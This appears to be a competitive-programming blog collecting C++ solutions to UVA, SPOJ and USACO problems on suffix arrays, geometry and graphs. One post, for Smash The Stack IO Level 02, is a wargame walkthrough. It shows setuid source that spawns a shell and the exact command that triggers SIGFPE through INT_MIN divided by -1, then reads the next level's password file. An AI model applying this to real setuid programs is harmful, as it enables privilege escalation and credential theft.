UVA – 737 – Gleaming the Cubes – O(N)

#include <iostream>
using namespace std;

#define N 1<<12

struct Point3D {
	int x, y, z;
};

#define MN(x, y)  (y ^ ((x ^ y) & -(x < y)))
#define MX(x, y)  (x ^ ((x ^ y) & -(x < y)))

Point3D minmaxp(Point3D a, Point3D b, int mn) {
	if (mn)
		return Point3D { MN(a.x, b.x), MN(a.y, b.y), MN(a.z, b.z) };
	return Point3D { MX(a.x, b.x), MX(a.y, b.y), MX(a.z, b.z) };
}

int main() {
	Point3D vi1, vi2, v1, v2;
	int n, s;
	while ((cin >> n) && n) {
		for (int i = 0; i < n; i++) {
			cin >> v1.x >> v1.y >> v1.z >> s;
			v2 = Point3D { v1.x + s, v1.y + s, v1.z + s };
			if (!i)
				vi1 = v1, vi2 = v2;
			vi2 = minmaxp(v2, vi2, 1), vi1 = minmaxp(v1, vi1, 0);
		}
		int v = (vi2.x - vi1.x) * (vi2.y - vi1.y) * (vi2.z - vi1.z);
		cout << max(v, 0) << endl;
	}
}

Smash The Stack – Exploit i/o – Level 02

Logging in with the password from Level 01

~$ cd /levels

you will find 2 problems that you might solve either of them

level02
level02.c
level02_alt 
level02_alt.c 

open the sourcefile

/levels$ cat level02.c

you will find the following code

 
void catcher(int a){
        setresuid(geteuid(),geteuid(),geteuid());
        printf("WIN!\n");
        system("/bin/sh");
        exit(0);
}
 
int main(int argc, char **argv){
        puts("source code is available in level02.c\n");
 
        if (argc != 3 || !atoi(argv[2]))
                return 1;
        signal(SIGFPE, catcher);
        return atoi(argv[1]) / atoi(argv[2]);
}

the program catches a SIGFPE which is an arithmetic error like division by zero or subscript out of bound

you can’t divide by zero as the code checks for argv[2] for a non-zero value

but by a little math you can know that you can generate the same error by dividing -(2^31 -1) over -1

then the rest is easy

/levels$ ./level02 -2147483648 -1

then grab the password

/levels$ cat /home/level3/.pass

it took me a time of searching to know what cases exactly causes the SIGFPE.

UVA – 11512 – GATTACA – [Suffix Array]

#include <cstdio>
#include <cstring>
#include <utility>
#include <iostream>
#include <algorithm>

using namespace std;

const int MAXN = 100100;

struct SuffixArray {
	pair<int, int> sf[MAXN];
	int sa[MAXN], r[MAXN], height[MAXN], h[MAXN];

	struct mycmp {
		pair<int, int> * suffix;
		mycmp(pair<int, int> * suffix_) :
			suffix(suffix_) {
		}
		bool operator()(int lhs, int rhs) {
			return suffix[lhs] < suffix[rhs];
		}
	};

	void init(int n, const char a[MAXN]) {
		sa[0] = 0; // n = 1
		for (int i = 0; i < n; ++i)
			r[i] = a[i];

		for (int i, m = 1; m < n; m <<= 1) {
			for (i = 0; i < n; sa[i] = i++)
				sf[i] = make_pair(r[i], i + m < n ? r[i + m] : -1);
			sort(sa, sa + n, mycmp(sf));
			for (i = 1, r[sa[0]] = 0; i < n; ++i)
				r[sa[i]] = sf[sa[i]] != sf[sa[i - 1]] ? i : r[sa[i - 1]];
		}

		for (int i = 0; i < n; ++i) {
			if (r[i] == 0) {
				h[i] = 0;
			} else {
				int x = i, y = sa[r[i] - 1], z = max(0, h[i - 1] - 1);
				while (x + z < n && y + z < n && a[x + z] == a[y + z]) {
					++z;
				}
				h[i] = z;
			}
		}
		for (int i = 0; i < n; ++i) {
			height[i] = h[sa[i]];
		}
	}
} sa;

int main() {
	char s[1005];
	int T;
	scanf("%d", &T);
	while (T--) {
		scanf("%s", s);
		int len = strlen(s);
		sa.init(len, s);
		int maxlen = 0, maxi = 0, cnt = 0;
		for (int i = 1; i < len; i++) {
			if (sa.height[i] && sa.height[i] > maxlen) {
				maxlen = sa.height[i], maxi = i, cnt = 2;
			} else if (sa.height[i] && sa.height[i] == maxlen) {
				if (sa.height[i] == sa.height[i - 1])
					cnt++;
			}
		}
		if (cnt == 0)
			printf("%s\n", "No repetitions found!");
		else {
			for (int i = sa.sa[maxi], c = 0; c < maxlen; i++, c++)
				putchar(s[i]);
			printf(" %d\n", cnt);
		}

	}
}
</pre>

UVA – 10679 – I Love Strings!! – [Suffix Array nlgn]

#include <vector>
#include <iostream>
#include <cstdio>
#include <cstring>
#include <string>
#include <algorithm>
 
using namespace std;
 
//  O(n log n) - Manber and Myers 
 
#define N 1000005
char str[N]; //input
int rank[N], pos[N]; //output

int cnt[N], next[N]; 
bool bh[N], b2h[N];
 

bool smaller_first_char(int a, int b) {
	return str[a] < str[b];
}
 
void suffixSort(int n) {
	for (int i = 0; i < n; ++i) {
		pos[i] = i;
	}
	sort(pos, pos + n, smaller_first_char);

 
	for (int i = 0; i < n; ++i) {
		bh[i] = i == 0 || str[pos[i]] != str[pos[i - 1]];
		b2h[i] = false;
	}
 
	for (int h = 1; h < n; h <<= 1) {
		int buckets = 0;
		for (int i = 0, j; i < n; i = j) {
			j = i + 1;
			while (j < n && !bh[j])
				j++;
			next[i] = j;
			buckets++;
		}
		if (buckets == n)
			break; 

 
		for (int i = 0; i < n; i = next[i]) {
			cnt[i] = 0;
			for (int j = i; j < next[i]; ++j) {
				rank[pos[j]] = i;
			}
		}
 
		cnt[rank[n - h]]++;
		b2h[rank[n - h]] = true;
		for (int i = 0; i < n; i = next[i]) {
			for (int j = i; j < next[i]; ++j) {
				int s = pos[j] - h;
				if (s >= 0) {
					int head = rank[s];
					rank[s] = head + cnt[head]++;
					b2h[rank[s]] = true;
				}
			}
			for (int j = i; j < next[i]; ++j) {
				int s = pos[j] - h;
				if (s >= 0 && b2h[rank[s]]) {
					for (int k = rank[s] + 1; !bh[k] && b2h[k]; k++)
						b2h[k] = false;
				}
			}
		}
		for (int i = 0; i < n; ++i) {
			pos[rank[i]] = i;
			bh[i] |= b2h[i];
		}
	}
	for (int i = 0; i < n; ++i) {
		rank[pos[i]] = i;
	}
}
 
 
// O(n) - lcp - "Arrays and Its Applications" by Toru Kasai, Gunho Lee

int height[N];
// height[i] = lcp of suffix pos[i] and suffix pos[i-1]
// height[0] = 0
void getHeight(int n) {
	for (int i = 0; i < n; ++i)
		rank[pos[i]] = i;
	height[0] = 0;
	for (int i = 0, h = 0; i < n; ++i) {
		if (rank[i] > 0) {
			int j = pos[rank[i] - 1];
			while (i + h < n && j + h < n && str[i + h] == str[j + h])
				h++;
			height[rank[i]] = h;
			if (h > 0)
				h--;
		}
	}
}

 
int find(char * p) {
	int l = 0, sz = strlen(p), h = strlen(str) - 1;

	while (l <= h) {
		int mid = l + (h - l) / 2;
		char * tmp = (char*)malloc(sz+1);
		strncpy(tmp, str + pos[mid], sz);
		tmp[sz] = 0;
		int cmp = strcmp(p, tmp);
		if (cmp < 0)
			h = mid - 1;
		if (cmp > 0)
			l = mid + 1;
		if (!cmp)
			return mid;
	}
	return -1;
}

int main() {
	freopen("input.txt", "r", stdin);
	string s;
	int T, q;
	char p[2000], tmp[200];
	scanf("%d", &T);
	gets(str);
	while (T--) {
		gets(str);
		scanf("%d", &q);
		gets(tmp);
		long long len = 0LL + strlen(str);
		suffixSort(len);
		while (q--) {
			gets(p);
			if (find(p) != -1)
				puts("y");
			else
				puts("n");
		}

	}
}

SPOJ – 705 – New Distinct Substrings – [Suffix Arrays nlgn]

#include <vector>
#include <iostream>
#include <cstdio>
#include <cstring>
#include <string>
#include <algorithm>
 
using namespace std;
 
//  O(n log n) - Manber and Myers 
 
#define N 1000005
char str[N]; //input
int rank[N], pos[N]; //output

int cnt[N], next[N]; 
bool bh[N], b2h[N];
 

bool smaller_first_char(int a, int b) {
	return str[a] < str[b];
}
 
void suffixSort(int n) {
	for (int i = 0; i < n; ++i) {
		pos[i] = i;
	}
	sort(pos, pos + n, smaller_first_char);

 
	for (int i = 0; i < n; ++i) {
		bh[i] = i == 0 || str[pos[i]] != str[pos[i - 1]];
		b2h[i] = false;
	}
 
	for (int h = 1; h < n; h <<= 1) {
		int buckets = 0;
		for (int i = 0, j; i < n; i = j) {
			j = i + 1;
			while (j < n && !bh[j])
				j++;
			next[i] = j;
			buckets++;
		}
		if (buckets == n)
			break; 

 
		for (int i = 0; i < n; i = next[i]) {
			cnt[i] = 0;
			for (int j = i; j < next[i]; ++j) {
				rank[pos[j]] = i;
			}
		}
 
		cnt[rank[n - h]]++;
		b2h[rank[n - h]] = true;
		for (int i = 0; i < n; i = next[i]) {
			for (int j = i; j < next[i]; ++j) {
				int s = pos[j] - h;
				if (s >= 0) {
					int head = rank[s];
					rank[s] = head + cnt[head]++;
					b2h[rank[s]] = true;
				}
			}
			for (int j = i; j < next[i]; ++j) {
				int s = pos[j] - h;
				if (s >= 0 && b2h[rank[s]]) {
					for (int k = rank[s] + 1; !bh[k] && b2h[k]; k++)
						b2h[k] = false;
				}
			}
		}
		for (int i = 0; i < n; ++i) {
			pos[rank[i]] = i;
			bh[i] |= b2h[i];
		}
	}
	for (int i = 0; i < n; ++i) {
		rank[pos[i]] = i;
	}
}
 
 
// O(n) - lcp - "Arrays and Its Applications" by Toru Kasai, Gunho Lee

int height[N];
// height[i] = lcp of suffix pos[i] and suffix pos[i-1]
// height[0] = 0
void getHeight(int n) {
	for (int i = 0; i < n; ++i)
		rank[pos[i]] = i;
	height[0] = 0;
	for (int i = 0, h = 0; i < n; ++i) {
		if (rank[i] > 0) {
			int j = pos[rank[i] - 1];
			while (i + h < n && j + h < n && str[i + h] == str[j + h])
				h++;
			height[rank[i]] = h;
			if (h > 0)
				h--;
		}
	}
}

 
int main() {
	string s;
	int T;
	scanf("%d", &T);
	gets(str);
	while (T--) {
		gets(str);
		long long len = 0LL + strlen(str);
		long long total = len*(len+1)/2;
		suffixSort(len);
		getHeight(len);
 
		for (int i = 0; i < len; i++) 
			total -=   height[i];
		
		cout << total << endl;
	}
}

SPOJ – 649 – Distinct Substrings – [Suffix Arrays (nlgn)]

#include <vector>
#include <iostream>
#include <cstdio>
#include <cstring>
#include <string>
#include <algorithm>
 
using namespace std;
 
//  O(n log n) - Manber and Myers 
 
#define N 1000005
char str[N]; //input
int rank[N], pos[N]; //output

int cnt[N], next[N]; 
bool bh[N], b2h[N];
 

bool smaller_first_char(int a, int b) {
	return str[a] < str[b];
}
 
void suffixSort(int n) {
	for (int i = 0; i < n; ++i) {
		pos[i] = i;
	}
	sort(pos, pos + n, smaller_first_char);

 
	for (int i = 0; i < n; ++i) {
		bh[i] = i == 0 || str[pos[i]] != str[pos[i - 1]];
		b2h[i] = false;
	}
 
	for (int h = 1; h < n; h <<= 1) {
		int buckets = 0;
		for (int i = 0, j; i < n; i = j) {
			j = i + 1;
			while (j < n && !bh[j])
				j++;
			next[i] = j;
			buckets++;
		}
		if (buckets == n)
			break; 

 
		for (int i = 0; i < n; i = next[i]) {
			cnt[i] = 0;
			for (int j = i; j < next[i]; ++j) {
				rank[pos[j]] = i;
			}
		}
 
		cnt[rank[n - h]]++;
		b2h[rank[n - h]] = true;
		for (int i = 0; i < n; i = next[i]) {
			for (int j = i; j < next[i]; ++j) {
				int s = pos[j] - h;
				if (s >= 0) {
					int head = rank[s];
					rank[s] = head + cnt[head]++;
					b2h[rank[s]] = true;
				}
			}
			for (int j = i; j < next[i]; ++j) {
				int s = pos[j] - h;
				if (s >= 0 && b2h[rank[s]]) {
					for (int k = rank[s] + 1; !bh[k] && b2h[k]; k++)
						b2h[k] = false;
				}
			}
		}
		for (int i = 0; i < n; ++i) {
			pos[rank[i]] = i;
			bh[i] |= b2h[i];
		}
	}
	for (int i = 0; i < n; ++i) {
		rank[pos[i]] = i;
	}
}
 
 
// O(n) - lcp - "Arrays and Its Applications" by Toru Kasai, Gunho Lee

int height[N];
// height[i] = lcp of suffix pos[i] and suffix pos[i-1]
// height[0] = 0
void getHeight(int n) {
	for (int i = 0; i < n; ++i)
		rank[pos[i]] = i;
	height[0] = 0;
	for (int i = 0, h = 0; i < n; ++i) {
		if (rank[i] > 0) {
			int j = pos[rank[i] - 1];
			while (i + h < n && j + h < n && str[i + h] == str[j + h])
				h++;
			height[rank[i]] = h;
			if (h > 0)
				h--;
		}
	}
}

 
int main() {
	string s;
	int T;
	scanf("%d", &T);
	gets(str);
	while (T--) {
		gets(str);
		long long len = 0LL + strlen(str);
		long long total = len*(len+1)/2;
		suffixSort(len);
		getHeight(len);
 
		for (int i = 0; i < len; i++) 
			total -=   height[i];
		
		cout << total << endl;
	}
}

UVA – 00719 – Glass Beads – [Suffix Array]

#include <cstdio>
#include <cstring>
#include <utility>
#include <iostream>
#include <algorithm>

using namespace std;

const int MAXN = 100100;

struct SuffixArray {
	pair<int, int> sf[MAXN];
	int sa[MAXN], r[MAXN], height[MAXN], h[MAXN];

	struct mycmp {
		pair<int, int> * suffix;
		mycmp(pair<int, int> * suffix_) :
			suffix(suffix_) {
		}
		bool operator()(int lhs, int rhs) {
			return suffix[lhs] < suffix[rhs];
		}
	};

	void init(int n, const char a[MAXN]) {
		sa[0] = 0; // n = 1
		for (int i = 0; i < n; ++i)
			r[i] = a[i];
		for (int i, m = 1; m < n; m <<= 1) {
			for (i = 0; i < n; sa[i] = i++)
				sf[i] = make_pair(r[i], r[(i + m) % n]);
			stable_sort(sa, sa + n, mycmp(sf));
			for (i = 1, r[sa[0]] = 0; i < n; ++i)
				r[sa[i]] = sf[sa[i]] != sf[sa[i - 1]] ? i : r[sa[i - 1]];
		}
	}
} sa;

int main() {
	char s[100003];
	int T;
	scanf("%d", &T);
	while (T--) {
		scanf("%s", s);
		int len = strlen(s);
		sa.init(len, s);
		printf("%d\n", sa.sa[0] + 1);

	}
}

USACO 3.3.2 – Special Offers

#include <iostream>
#include <cstdio>
#include <algorithm>
struct offer {
	int N, c, p[5], a[5];
} offers[100];
int id[5], c[5] = { 0 }, num[5], map[1001];
int dp[6][6][6][6][6]={{{{{0}}}}}, O,N,i,j,valid=1,T=0,best=0;
using namespace std;

int main() {
	freopen("shopping.in", "r", stdin), freopen("shopping.out", "w", stdout);

	for (scanf("%d", &O), i = 0; i < O; scanf("%d", &offers[i].c), i++)
		for (j = 0, scanf("%d", &offers[i].N); j < offers[i].N; j++)
			scanf("%d %d", offers[i].p + j, offers[i].a + j);
	for (scanf("%d", &N), i = 0; i < N; map[id[i]] = i, i++)
		scanf("%d %d %d", id + i, num + i, c + i);

	for (int m = 100001, t[5] = { 0 }; m <= 155555; m++, valid =(T = best = 0)+1) {
		for (int n = m; (n / 10) && valid; n /= 10, T++)
			t[T]= n%10, best +=(t[T] * c[T]), valid &= t[T] <= 5;

		if (!valid) continue;

		for (int o = 0; o < O; o++)
			for (int n=0,a[5]={0}, s[5], good = 1; n < offers[o].N; n++) {
				if (map[offers[o].p[n]] != -1)
					a[map[offers[o].p[n]]] = offers[o].a[n];
				for (int q = 0; q < 5; q++)
					good &= t[q] >= a[q], s[q]=t[q]-a[q];
				if (good)
					best = min(best,offers[o].c+dp[s[0]][s[1]][s[2]][s[3]][s[4]]);
			}
		dp[t[0]][t[1]][t[2]][t[3]][t[4]] = best;
	}
	printf("%d\n", dp[num[0]][num[1]][num[2]][num[3]][num[4]]);
}

USACO 3.3.1 – Riding the fences


#include <iostream>
#include <algorithm>
#include <cstdio>
using namespace std;

int start=-1,ct=0,cr[10024]={0},g[501][501]={{0}},deg[501]={0};

void loop(int n) {
	for (int j = 1; j < 501; j++)
		if (g[n][j])
			g[n][j]--, g[j][n]--, loop(j);
	cr[ct++] = n;
}
int main() {
	freopen("fence.in", "r", stdin), freopen("fence.out", "w", stdout);
	int F, a, b, start = 0, mod = 0;
	cin >> F;
	while (F-- && cin >> a >> b)
		g[a][b]++, g[b][a]++, deg[a]++, deg[b]++;
	for (int i = 500; i >= 0; i--)
		mod = deg[i] % 2 ? i : mod, start = deg[i] ? i : start;
	loop(mod ? mod : start);
	for (int c = ct - 1; c >= 0; c--)
		cout << cr[c] << endl;
	return 0;
}

USACO 3.2.6 – Sweet Butter

#include <cstdio>
#include <algorithm>
#include <vector>
#include <queue>
using namespace std;
struct E { int b, d; };
int main() {
	freopen("butter.in", "r", stdin), freopen("butter.out", "w", stdout);
	int N, C, P, p[801] = { 0 }, best[801], INF = 10000000, min_r = INF;
	vector<E> e[801]; vector<int> cows;
	fill(e, e + 800, vector<E> ()), fill(best, best + 801, INF);
	scanf("%d %d %d", &N, &P, &C);
	for (int c, i = 0; i < N; p[c]++, cows.push_back(c), i++)
		scanf("%d", &c);
	for (int a, b, d, c = 0; c < C; c++) {
		scanf("%d %d %d", &a, &b, &d);
		e[a].push_back(E { b, d }), e[b].push_back(E { a, d });
	}
	for (int s = 1, r = 0; s <= P; fill(best, best + 801, INF), r = 0, ++s) {
		queue<E> q; q.push(E { s, best[s] = 0 });
		while (q.size()) {
			E f = q.front(); q.pop();
			for (int b = 0; b < e[f.b].size(); ++b) {
				E o = e[f.b][b];
				if (best[o.b] > o.d + best[f.b])
					q.push(E { o.b, (best[o.b] = o.d + best[f.b]) });
			}
		}
		for (int i = 0; i < cows.size(); ++i)
			r += best[cows[i]];
		min_r = r < min_r ? r : min_r;
	}
	printf("%d\n", min_r);
}